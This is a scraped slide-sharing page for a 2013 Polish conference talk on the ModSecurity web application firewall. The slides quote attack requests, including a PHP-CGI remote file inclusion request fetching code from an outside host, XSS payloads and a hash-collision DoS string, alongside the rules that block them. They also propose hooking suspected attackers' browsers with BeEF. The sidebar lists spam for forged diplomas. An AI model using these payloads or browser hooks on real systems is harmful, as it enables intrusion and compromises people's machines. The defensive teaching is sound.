Leszek Miś "Czy twoj WAF to potrafi"

Application Security Consultant
Mar. 13, 2013
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
Leszek Miś "Czy twoj WAF to potrafi"
1 of 36

More Related Content

Viewers also liked

Presentation from CyberGov.pl 2015 Presentation from CyberGov.pl 2015
Presentation from CyberGov.pl 2015 Pawel Krawczyk
Zaufanie W Systemach InformatycznychZaufanie W Systemach Informatycznych
Zaufanie W Systemach InformatycznychPawel Krawczyk
Filtrowanie sieci - PanoptykonFiltrowanie sieci - Panoptykon
Filtrowanie sieci - PanoptykonPawel Krawczyk
Dlaczego przejmować się bezpieczeństwem aplikacji (pol)Dlaczego przejmować się bezpieczeństwem aplikacji (pol)
Dlaczego przejmować się bezpieczeństwem aplikacji (pol)Pawel Krawczyk
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"Pawel Krawczyk
Vendor AuditsVendor Audits
Vendor AuditsAnand Subramaniam

Similar to Leszek Miś "Czy twoj WAF to potrafi"

Atmosphere 2014: Scalable and under control - open cloud architecture conside...Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...PROIDEA
Serwery i hosting w służbie SEOSerwery i hosting w służbie SEO
Serwery i hosting w służbie SEOSilesia SEM
OWASP Appsensor in actionOWASP Appsensor in action
OWASP Appsensor in actionLeszekMis
PLNOG 18 - Marcin Motylski - Budowa wirtualnego Data CenterPLNOG 18 - Marcin Motylski - Budowa wirtualnego Data Center
PLNOG 18 - Marcin Motylski - Budowa wirtualnego Data CenterPROIDEA
Czy naprawdę wiesz co robi twoja przeglądarka?Czy naprawdę wiesz co robi twoja przeglądarka?
Czy naprawdę wiesz co robi twoja przeglądarka?OWASP
Ubuntu serverUbuntu server
Ubuntu serverJacek Gruchelski

More from Pawel Krawczyk

Top DevOps Security FailuresTop DevOps Security Failures
Top DevOps Security FailuresPawel Krawczyk
Authenticity and usabilityAuthenticity and usability
Authenticity and usabilityPawel Krawczyk
Reading Geek Night 2019Reading Geek Night 2019
Reading Geek Night 2019Pawel Krawczyk
Effective DevSecOpsEffective DevSecOps
Effective DevSecOpsPawel Krawczyk
Unicode  the hero or villain Unicode  the hero or villain
Unicode the hero or villain Pawel Krawczyk
Get rid of TLS certificates - using IPSec for large scale cloud protectionGet rid of TLS certificates - using IPSec for large scale cloud protection
Get rid of TLS certificates - using IPSec for large scale cloud protectionPawel Krawczyk

Recently uploaded

《美国留学生文凭证书》原版复刻哪里办理堪萨斯州立大学毕业证成绩单《美国留学生文凭证书》原版复刻哪里办理堪萨斯州立大学毕业证成绩单
《美国留学生文凭证书》原版复刻哪里办理堪萨斯州立大学毕业证成绩单udxab
Lemo TV - IPTVTechy.pptLemo TV - IPTVTechy.ppt
Lemo TV - IPTVTechy.pptIPTVTechy
国外假毕业证快速办理管理大学毕业证书%原版↑制作国外假毕业证快速办理管理大学毕业证书%原版↑制作
国外假毕业证快速办理管理大学毕业证书%原版↑制作udxab
美国路易维尔大学毕业证成绩单办理【原版一模一样】美国路易维尔大学毕业证成绩单办理【原版一模一样】
美国路易维尔大学毕业证成绩单办理【原版一模一样】udxab
Filmy4wap Skin - IPTVTechy.pptFilmy4wap Skin - IPTVTechy.ppt
Filmy4wap Skin - IPTVTechy.pptIPTVTechy
《加拿大留学生文凭证书》加急制作原版定制多伦多大学毕业证成绩单《加拿大留学生文凭证书》加急制作原版定制多伦多大学毕业证成绩单
《加拿大留学生文凭证书》加急制作原版定制多伦多大学毕业证成绩单udxab

Leszek Miś "Czy twoj WAF to potrafi"

  1. Czy Twój WAF to potrafi? modsecurity. Leszek Miś IT Security Architect RHCA, RHCSS lm@linuxpolska.pl 1 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  2. /whoami • IT Security Architect @ Linux Polska Sp. z o.o. • Lider projektu WALLF Web Gateway (http://wallf.pl) • RHCA/RHCSS/RHCX • Skupiam się głównie na: – Linux Security – Web Security – Pentesty – SSO – Linux forensics – Klastry, wirtualizacja, cloud, storage 2 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  3. Agenda 1. Kilka słów wstępu. 2. Podstawowe możliwości. 3. Realne przypadki 4. PoC: - Honeypot + modsecurity - BeeF+modsecurity = give me your real IP! 5. Podsumowanie. 3 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  4. modsecurity • Najczęściej wykorzystywany WAF na świecie • Open source • Tysiące dl/miesiąc • Chronionych ponad milion serwerów • Tryby pracy: – Wbudowany – Reverse Proxy 4 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  5. modsecurity • Od zawsze dostępny dla Apache • Od niedawna także dla: – Nginx (jest też naxsi oraz ngx_LUA based) – Microsoft IIS • Blacklist: OWASP Modsecurity Core Rule Set • Whitelist – learning mode: – Modprofiler – WebApplicationProfiler – REMO 5 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  6. modsecurity 6 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  7. modsecurity • Wirtualne patchowanie i integracja z DAST: – ZAP, Arachni, RPC LUA API • Bramka typu Intrusion Prevention dla protokołu HTTP (Reverse Proxy) • Możliwość szybkiej modyfikacji reguł • Ochrona przed błędami typu 0-day dla aplikacji webowych • Geolokalizacja • Ochrona antywirusowa dla uploadów • Nadawanie flag ciasteczkom 7 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  8. Modsecurity CRS • HTTP Protection - detecting violations of the HTTP protocol and a locally defined usage policy. • Real-time Blacklist Lookups - utilizes 3rd Party IP Reputation • Web-based Malware Detection - identifies malicious web content by check against the Google Safe Browsing API. • HTTP Denial of Service Protections - defense against HTTP Flooding and Slow HTTP DoS Attacks. • Common Web Attacks Protection - detecting common web application security attack. • Automation Detection - Detecting bots, crawlers, scanners and other surface malicious activity. 8 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  9. Modsecurity CRS • Integration with AV Scanning for File Uploads - detects malicious files uploaded through the web application. • Tracking Sensitive Data - Tracks Credit Card usage and blocks leakages. • Trojan Protection - Detecting access to Trojans horses. • Identification of Application Defects - alerts on application misconfigurations. • Error Detection and Hiding - Disguising error messages sent by the server. 9 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  10. Modsecurity CRS modsecurity_35_bad_robots.data modsecurity_crs_23_request_limits.conf modsecurity_crs_47_common_exceptions.conf modsecurity_35_scanners.data modsecurity_crs_30_http_policy.conf modsecurity_crs_48_local_exceptions.conf.example modsecurity_40_generic_attacks.data modsecurity_crs_35_bad_robots.conf modsecurity_crs_49_inbound_blocking.conf modsecurity_41_sql_injection_attacks.data modsecurity_crs_40_generic_attacks.conf modsecurity_crs_50_outbound.conf modsecurity_50_outbound.data modsecurity_crs_41_sql_injection_attacks.conf modsecurity_crs_59_outbound_blocking.conf modsecurity_50_outbound_malware.data modsecurity_crs_41_xss_attacks.conf modsecurity_crs_60_correlation.conf modsecurity_crs_20_protocol_violations.conf modsecurity_crs_42_tight_security.conf modsecurity_crs_21_protocol_anomalies.conf modsecurity_crs_45_trojans.conf 10 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  11. Realne przypadki 11 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  12. Realne przypadki • Ruby on Rails XML Exploits – Podatność w kodzie parsującym parametry XML – YAML i Symbol – Wykonanie dowolnego polecenia systemowego • Modsecurity potrafi parsować i walidować XML: • SecRule REQUEST_HEADERS:Content-Type "text/xml" "id:'900017', phase:1, t:none,t:lowercase, nolog, pass, chain" SecRule REQBODY_PROCESSOR "!@streq XML" "ctl:requestBodyProcessor=XML" 12 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  13. Realne przypadki • Positive security model dla formularza logowania + ochrona przed brute force • 13 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  14. Realne przypadki • Ochrona przed atakami typu Slow HTTP DOS – Slowloris: • Atakujący wysyła niekompletny zbiór nagłówków • „Zaśmiecenie” kolejki read request i write request • Serwer oczekuje dalszych requestów, aż do Timeoutu • Wysyłanie kolejnych żądań powoduje wysycenie zasobów – R-U-dead-yet czyli RUDY attack: • Faza request headers wykonywana poprawnie • Wolne wysyłanie request body, np 1bajt/100s – Wiele innych jak HOIC/LOIC 14 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  15. Realne przypadki • Kontrolowanie ilości połączeń w stanie Busy: SecReadStateLimit 5 SecWriteStateLimit 5 • [Mon Nov 22 17:44:46 2010] [warn] ModSecurity: Access denied with code 400. • Too many connections [6] of 5 allowed in READ state from 8X.XX.XX.XX - • Possible DoS Consumption Attack [Rejected] • [Mon Nov 22 17:44:47 2010] [warn] ModSecurity: Access denied with code 400. • Too many connections [6] of 5 allowed in READ state from 8X.XX.XX.XX - • Possible DoS Consumption Attack [Rejected] 15 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  16. Realne przypadki • HULK DOS Tool: – Pythony skrypt – Randomizowane wartości nagłówków: User-Agent, Referer, Keep-alive – Zawsze ta sama kolejność – • 16 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  17. Realne przypadki • CVE-2012-1823: – PHP jako czyste CGI – mod_cgid • Możliwość podglądu kodu źródłowego: – 'GET /index.php?-s' – /index.php?-dallow_url_include%3don+- dauto_prepend_file %3dhttp://www.bu67778.com/a.txt' • SecRule QUERY_STRING "^-[sdcr]" "phase:1,t:none,t:urlDecodeUni,t:removeWhitespace,block ,log,msg:'Potential PHP-CGI Exploit Attempt'" • Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl 17
  18. Realne przypadki • OsCommerce 3.0.2 – XSS • Parametr „name” : – POST /oscommerce/index.php? RPC&Setup&Install&DBCheck HTTP/1.1 – server=&username=&password=&name= %3Cscript%3Ealert(123)%3C%2Fscript %3E&port=&class=SQL • 18 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  19. Realne przypadki • Movable Types: XSS • Parametr dbuser: – POST /cgi-bin/mt/mt-wizard.cgi HTTP/1.1 – __mode=test&step=configure&set_static_uri_to=&d efault_language=en- us&config=&dbtype=mysql&dbserver=localhost&db name=&dbuser=%3Cscript%3Ealert %28%27123%27%29%3C%2Fscript %3E&dbpass=test&dbpath=&dbport=&dbsocket=&t est=1 19 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  20. Realne przypadki • Movable types: 20 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  21. Realne przypadki • ASP.NET HashTable DoS: • Paylodem była bardzo duża ilość losowych parametrów z pustą zawartością: • EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138 LL=&XXST36DRX=&JRYRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0 TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=&MOCGW14ZU7=&I0JK KKOG7EN=&Q4B9V7L3VZ=&23UAYU5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D 3ACY8973E=&VGJPMCQHP=&AV6THWSCA7= • SecRequestBodyLimit 131072 – domyślna wartość • This directive is useful to reduce susceptibility to DoS attacks when someone is sending request bodies of very large sizes. 21 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  22. Honeytrapy 22 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  23. Honeytrapy • Wykorzystanie istniejących serwerów: – Listen 8080 – Listen 8888 – Listen 8000 • Wykrywanie i blokowanie automatów skanujących pod kątem webappek na niestandardowych portach • Tagowanie klientów • Rozpoznawanie pod kątem prawdziwej aplikacji 23 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  24. Honeytrapy • SecRule SERVER_PORT "^(8000|8080|8888)$" "id:'999004',phase:2,t:none,log,block,msg:'HoneyTrap Alert: Traffic Received on Fake Port.', setvar:ip.malicious_client=1" • SecRule &IP:MALICIOUS_CLIENT "@eq 1" "id:'999005',phase:2,t:none,log,block,msg:'HoneyTrap Alert: Known Malicious Client.'" • Integracja z WASC Web Honeypots 24 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  25. Mięsko ;) 25 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  26. BEEF • The Browser Exploitation Framework – zaawansowane narzędzie do pentestów • Browser as Pentester's gateway || C&C • Wymagane: – Zmuszenie użytkownika do wejścia na stronę (FB,TW, krótkie linki) – Phishing – XSS – dla tych którzy uważają, że XSS nic nie znaczy 26 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  27. BEEF • Pozwala na przejęcie kontroli nad przeglądarką użytkownika poprzez wstrzykiwanie hooków: – Bind shell – Javascript command – Odwiedzane URLe – Skanowanie portów/dns enum/network discovery – Man In The Browser – Tunelowanie – Keylogger • Integracja z metasploit, np: – XSS->Hook->przejęcie kontroli nad przeglądarką – Wykorzystanie podatności, np. w Adobe – Dostęp do shella z poziomu metasploita 27 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  28. • W jaki sposób wyśledzić prawdziwy adres źródłowy atakującego? – Proxy – TOR • Analiza powłamaniowa 28 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  29. Co mamy? • Modsecurity jako WAF: – Wykrywanie ataków – Aktywacja Beefa • BeEF jako browser exploitation framework: – Hookowanie atakujących – Enumeracja lokalizacji atakującego • AuditConsole: – Centralna konsola do analizy logów 29 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  30. modsecurity+BEEF • Idea przedstawiona na Appsec 2012 USA przez Rayna Barnetta • Ograniczenie do połączeń do tych „z browsera” • Monitorowanie atakujących 30 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  31. modsecurity+BEEF • Filtrowanie wyjścia: – SecResponseBodyAccess • Modyfikacja HTTP Response data – SecContentInjection – SecStreamOutBodyInspection – Zmienna STREAM_OUTPUT_BODY – Operator @rsub • SecRule STREAM_OUTPUT_BODY " <at> rsub s/FUCK/****/" "phase:4,t:none,log,auditlog,pass" 31 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  32. modsecurity+BEEF • W jaki sposób zidentyfikować atakującego? • Założyć pułapki: – Fake cookies – Robots.txt – Ukryte pola formularzy: • SecRule STREAM_OUTPUT_BODY "@rsub s/</form>/<input type="hidden" name="admin" value="false"></form>/id" id:"999999", phase:4,t:none,nolog,pass" 32 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  33. modsecurity+BEEF • SecRule ARGS:admin "!@streq false" "id:'9999923',phase:2,t:none,log,block,msg:'Honey trap alert: hidden form data manipulated',setvar:tx.malicious_client=1" • SecRule TX:MALICIOUS_CLIENT "@eq 1" "chain,id:'999232', phase:4, t:none, pass, log,msg:'hooking to beef'" • SecRule STREAM_OUTPUT_BODY "@rsub" s/</html>/<script src=http://10.0.0.1:5000/functions.js"></script></ht ml> 33 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  34. modsecurity+BEEF • Geolokalizacja: – Lokalnie dostępne access pointy • Uzyskanie dostępu do CMD celem wysłania ICMP do naszego hosta: – Analiza ruchu i wykrycie faktycznego adresu IP 34 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  35. Podsumowanie • W modsecurity drzemią ogromne możliwości i potencjał • Reguły oparte na blacklistach prędzej czy później mogą zostać ominięte • Whitelisting trudny we wdrożeniu, utrzymaniu i czasochłonny – zmieniające się aplikacje • Audytowanie logów – konieczność • 35 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  36. Podsumowanie Dziękuję za uwagę. lm@linuxpolska.pl 36 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl